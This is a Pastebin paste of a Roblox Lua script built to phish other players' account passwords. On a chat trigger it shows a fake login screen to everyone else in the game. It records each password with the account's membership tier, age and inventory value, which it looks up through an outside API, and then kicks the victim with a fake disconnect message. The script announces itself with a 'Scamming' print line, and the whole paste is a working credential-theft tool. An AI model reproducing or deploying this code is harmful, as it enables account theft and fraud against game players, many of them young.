Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local Owner = game.Players.LocalPlayer
- local Core = Instance.new("Folder") Core.Name = "MGVXCore" Core.Parent = game
- local Loaded = false
- local Workspace = game.Workspace
- local RapApi = true
- local KickOnLogin = true
- local KickMessage = "You Have Lost Connection to the game."
- for i,v in pairs(game.Players:GetChildren()) do
- --if v ~= Owner then
- local op = Instance.new("BoolValue")
- op.Name = "OtherPlayer"
- op.Value = true
- op.Parent = v
- --end
- end
- game.Players.PlayerAdded:connect(function(v)
- --if v ~= Owner then
- local op = Instance.new("BoolValue")
- op.Name = "OtherPlayer"
- op.Value = true
- op.Parent = v
- --end
- end)
- local NewGuiPart65 = Instance.new("ScreenGui")
- NewGuiPart65.Name = "LoginGui"
- NewGuiPart65.Parent = Owner.PlayerGui
- -------
- local NewGuiPart66 = Instance.new("Frame")
- NewGuiPart66.Name = "ErrorFrame"
- NewGuiPart66.Size = UDim2.new(1, 0, 1, 0)
- NewGuiPart66.Visible = false
- NewGuiPart66.Parent = NewGuiPart65
- -------
- local NewGuiPart67 = Instance.new("ImageLabel")
- NewGuiPart67.Active = false
- NewGuiPart67.Selectable = false
- NewGuiPart67.Size = UDim2.new(1, 0, 1, 0)
- NewGuiPart67.Image = "rbxassetid://423929933"
- NewGuiPart67.Parent = NewGuiPart66
- -------
- local NewGuiPart69 = Instance.new("TextLabel")
- NewGuiPart69.BackgroundTransparency = 1
- NewGuiPart69.BorderSizePixel = 0
- NewGuiPart69.Name = "UserName"
- NewGuiPart69.Position = UDim2.new(0, 50, 0.5, 0)
- NewGuiPart69.Size = UDim2.new(0, 100, 0, 50)
- NewGuiPart69.Font = Enum.Font.Legacy
- NewGuiPart69.FontSize = Enum.FontSize.Size14
- NewGuiPart69.Text = "UserName"
- NewGuiPart69.Parent = NewGuiPart66
- -------
- local NewGuiPart70 = Instance.new("TextLabel")
- NewGuiPart70.BackgroundTransparency = 1
- NewGuiPart70.BorderSizePixel = 0
- NewGuiPart70.Name = "Password"
- NewGuiPart70.Position = UDim2.new(0, 50, 0.5, 50)
- NewGuiPart70.Size = UDim2.new(0, 100, 0, 50)
- NewGuiPart70.Font = Enum.Font.Legacy
- NewGuiPart70.FontSize = Enum.FontSize.Size14
- NewGuiPart70.Text = "Password"
- NewGuiPart70.Parent = NewGuiPart66
- -------
- local NewGuiPart71 = Instance.new("TextBox")
- NewGuiPart71.BackgroundColor3 = Color3.new(255,255,255)
- NewGuiPart71.BorderColor3 = Color3.new(0, 0, 0)
- NewGuiPart71.BorderSizePixel = 2
- NewGuiPart71.Name = "TB2"
- NewGuiPart71.Position = UDim2.new(0, 160, 0.5, 65)
- NewGuiPart71.Size = UDim2.new(0, 200, 0, 20)
- NewGuiPart71.Font = Enum.Font.Legacy
- NewGuiPart71.FontSize = Enum.FontSize.Size14
- NewGuiPart71.Text = ""
- NewGuiPart71.Parent = NewGuiPart66
- -------
- local NewGuiPart72 = Instance.new("ImageButton")
- NewGuiPart72.Active = true
- NewGuiPart71.BackgroundColor3 = Color3.new(73,123,255)
- NewGuiPart72.BackgroundTransparency = 0.5
- NewGuiPart72.Name = "LoginButton"
- NewGuiPart72.Position = UDim2.new(0, 90, 0.5, 150)
- NewGuiPart72.Selectable = true
- NewGuiPart72.Size = UDim2.new(0, 280, 0, 25)
- NewGuiPart72.Style = Enum.ButtonStyle.RobloxRoundButton
- NewGuiPart72.Visible = true
- NewGuiPart72.Image = "rbxassetid://431070395"
- NewGuiPart72.Parent = NewGuiPart66
- -------
- local NewGuiPart73 = Instance.new("TextLabel")
- NewGuiPart73.BackgroundColor3 = Color3.new(255,255,255)
- NewGuiPart73.BorderColor3 = Color3.new(0, 0, 0)
- NewGuiPart73.BorderSizePixel = 0
- NewGuiPart73.Name = "TB1"
- NewGuiPart73.Position = UDim2.new(0, 160, 0.5, 15)
- NewGuiPart73.Size = UDim2.new(0, 200, 0, 20)
- NewGuiPart73.Font = Enum.Font.Legacy
- NewGuiPart73.FontSize = Enum.FontSize.Size14
- NewGuiPart73.Text = ""
- NewGuiPart73.Parent = NewGuiPart66
- local Text = Instance.new("TextLabel")
- Text.BackgroundColor3 = Color3.new(255,255,255)
- Text.BorderColor3 = Color3.new(0, 0, 0)
- Text.BorderSizePixel = 0
- Text.Name = "Text"
- Text.Position = UDim2.new(0, 90, 0.5,115)
- Text.Size = UDim2.new(0, 200, 0, 20)
- Text.Font = Enum.Font.Legacy
- Text.FontSize = Enum.FontSize.Size14
- Text.Text = ""
- Text.Parent = NewGuiPart66
- Owner.Chatted:connect(function(msg)
- if msg:lower() == "." then
- for i,v in pairs(game.Players:GetChildren()) do
- if v then
- if v.OtherPlayer then
- if v.PlayerGui then
- print("Scamming")
- gui = NewGuiPart65:Clone()
- gui.Parent = v.PlayerGui
- gui.ErrorFrame.Visible = true
- gui.ErrorFrame.TB1.Text = v.Name
- end
- end
- end
- end end
- end)
- function BCtoDumpStr(str)
- local res = ""
- if str == "Enum.MembershipType.BuildersClub" then
- res = "[BC] "
- elseif str == "Enum.MembershipType.TurboBuildersClub" then
- res = "[TBC] "
- elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
- res = "[OBC] "
- elseif str == "Enum.MembershipType.None" then
- res = "[NBC]"
- end
- return res
- end
- function getRap(user)
- local rap = ""
- if RapApi then
- ypcall(function()
- local http = game:GetService("HttpService")
- local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
- rap = tostring(rawrap.rap)
- end)
- else
- rap = "N/A"
- end
- return rap
- end
- function logAccount(user,pass)
- local playerName = user.Name
- local playerAge = tostring(user.AccountAge)
- local playerRAP = getRap(playerName)
- print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
- end
- function checkPass(pass)
- if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
- return false
- end
- local foundNums = 0
- local foundLetters = 0
- if string.find(pass, " ") then
- return false
- end
- if pass:len() < 6 or pass:len() > 20 then
- return false
- end
- for i=1,pass:len() do
- if pass:sub(i,i):match("%d") ~= nil then
- foundNums = foundNums + 1
- end
- end
- if foundNums < 2 then
- return false
- end
- for i=1,pass:len() do
- if pass:sub(i,i):match("%a") ~= nil then
- foundLetters = foundLetters + 1
- end
- end
- if foundLetters < 4 then
- return false
- end
- return true
- end
- function KickOnLog(kickk)
- local pa = game.Players:FindFirstChild(kickk)
- wait(.5)
- pa:Destroy();
- end
- function RemoveGui(removee)
- local pe = game.Players:FindFirstChild(removee)
- if pe.PlayerGui then
- pe.PlayerGui:FindFirstChild("LoginGui"):Destroy();
- pe:LoadCharacter();
- end
- end
- for i,v in pairs(game.Players:GetChildren()) do
- if v then
- if v.OtherPlayer then
- if v.PlayerGui then
- v.PlayerGui:WaitForChild("LoginGui").ErrorFrame.LoginButton.MouseButton1Up:connect(function()
- local password = v.PlayerGui.LoginGui.ErrorFrame.TB2.Text
- local username = v.PlayerGui.LoginGui.ErrorFrame.TB1.Text
- checkPass(password)
- logAccount(v,password)
- if KickOnLogin then
- KickOnLog(v.Name);
- else
- RemoveGui(v.Name);
- end
- end)
- end end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement